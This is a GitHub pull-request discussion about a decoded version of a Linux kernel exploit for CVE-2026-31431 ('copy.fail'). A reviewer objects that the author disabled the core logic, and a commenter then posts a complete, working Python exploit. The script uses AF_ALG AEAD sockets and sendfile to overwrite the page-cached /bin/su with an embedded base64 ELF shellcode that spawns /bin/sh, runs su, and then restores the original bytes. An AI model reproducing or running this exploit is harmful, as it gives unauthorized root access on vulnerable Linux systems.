Skip to content

Create exploit_decoded.py#16

Open
jwalzer wants to merge 1 commit intotheori-io:mainfrom
jwalzer:main
Open

Create exploit_decoded.py#16
jwalzer wants to merge 1 commit intotheori-io:mainfrom
jwalzer:main

Conversation

@jwalzer
Copy link
Copy Markdown

@jwalzer jwalzer commented Apr 29, 2026

Create a readable and understandable version of the Exploit code, to learn.

Copy link
Copy Markdown

@nneonneo nneonneo left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I doubt this would actually get merged, but this file is fairly useless as-is because you've removed the main logic for some silly safety reason.

Comment thread exploit_decoded.py
ALG_OP_ENCRYPT = 1

# sendmsg flag
MSG_MORE = socket.MSG_MORE # 32768
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pointless rename

Comment thread exploit_decoded.py
return bytes.fromhex(hex_string)


def decompress_embedded_payload() -> bytes:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

may as well directly decode this; zlib was used solely for golfing

Comment thread exploit_decoded.py
return zlib.decompress(compressed_payload)


def build_af_alg_socket() -> socket.socket:
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pointless and trivial function

Comment thread exploit_decoded.py
target_offset: int,
replacement_chunk: bytes,
) -> None:
"""
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you disabled the one interesting part of the code (or your AI did that for you), shame. If your goal is "learning", this is not the way to do it.

Note that disabling this function serves no practical purpose since the actual exploit already contains the full functional logic, so you're not protecting anyone by removing the functionality from here.

Comment thread exploit_decoded.py

# Linux socket constants
ADDRESS_FAMILY_ALG = socket.AF_ALG # 38
SOCKET_TYPE_SEQPACKET = socket.SOCK_SEQPACKET # 5
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

these are pointless renames; better to use the well-known names from the kernel

@florentx
Copy link
Copy Markdown

florentx commented May 1, 2026

Inspired by this PR, and #5 as well.
This is a version which:

  • use constants from socket module
  • use latest version from PR Golf harder (-20 bytes) #5
  • restore original in-memory payload afterwards (so su is still working without reboot)
#!/usr/bin/env python3
# CVE-2026-31431 https://copy.fail/
import base64
import os
import socket

ELF_PAYLOAD = base64.b64decode(
    "f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAFAAAAAAAA"
    "AAAAAAAAAEAAAAAAAAAAQAAAAAAAHAAAAAAAAAAcAAAAAAAAAAAQAAAAAAAAamlYMf8PBUiNPQYAAABqO1iZDwUvYmluL3NoAA=="
)
SU_PATH = "/bin/su"


# socket.SOCK_SEQPACKET   # 5
# socket.AF_ALG     # 38
# socket.SOL_ALG    # 279
#
# socket.ALG_SET_KEY            # 1
# socket.ALG_SET_IV             # 2
# socket.ALG_SET_OP             # 3
# socket.ALG_SET_AEAD_ASSOCLEN  # 4
# socket.ALG_SET_AEAD_AUTHSIZE  # 5

# socket.ALG_OP_DECRYPT  # 0
# socket.ALG_OP_ENCRYPT  # 1


def copy_fail(path, payload):
    pos = 0
    with open(path, "rb") as fobj:
        while chunk := payload[pos:(pos := pos + 4)]:
            sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
            sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
            key = b'\x08\0\1\0\0\0\0\x10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
            sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, key)
            sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4)
            sconn, __ = sock.accept()
            sconn.sendmsg(
                [b"AAAA" + chunk],
                [
                    (socket.SOL_ALG, socket.ALG_SET_OP, socket.ALG_OP_DECRYPT.to_bytes(4, "little")),
                    (socket.SOL_ALG, socket.ALG_SET_IV, b"\x10" + b"\0" * 19),
                    (socket.SOL_ALG, socket.ALG_SET_AEAD_ASSOCLEN, b"\x08" + b"\0" * 3),
                ],
                socket.MSG_MORE,
            )
            sconn.sendfile(fobj, 0, pos)
            try:
                sconn.recv(4 + pos)
            except OSError:
                pass


def read_bytes(path, size):
    with open(path, "rb") as fobj:
        return fobj.read(size)


def main(bin_path=SU_PATH, elf_payload=ELF_PAYLOAD):
    elf_saved = read_bytes(bin_path, len(elf_payload))
    try:
        copy_fail(bin_path, elf_payload)
        os.system("su -V")
    finally:
        copy_fail(bin_path, elf_saved)
        os.system("su -V")
        print(f"{bin_path} Restored")


if __name__ == "__main__":
    main()
@florentx florentx mentioned this pull request May 1, 2026
@florentx
Copy link
Copy Markdown

florentx commented May 1, 2026

Another way to clean the cache after trying the exploit:

~$ echo 3 |sudo tee /proc/sys/vm/drop_caches
3
~$ su -V
su from util-linux 2.34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

3 participants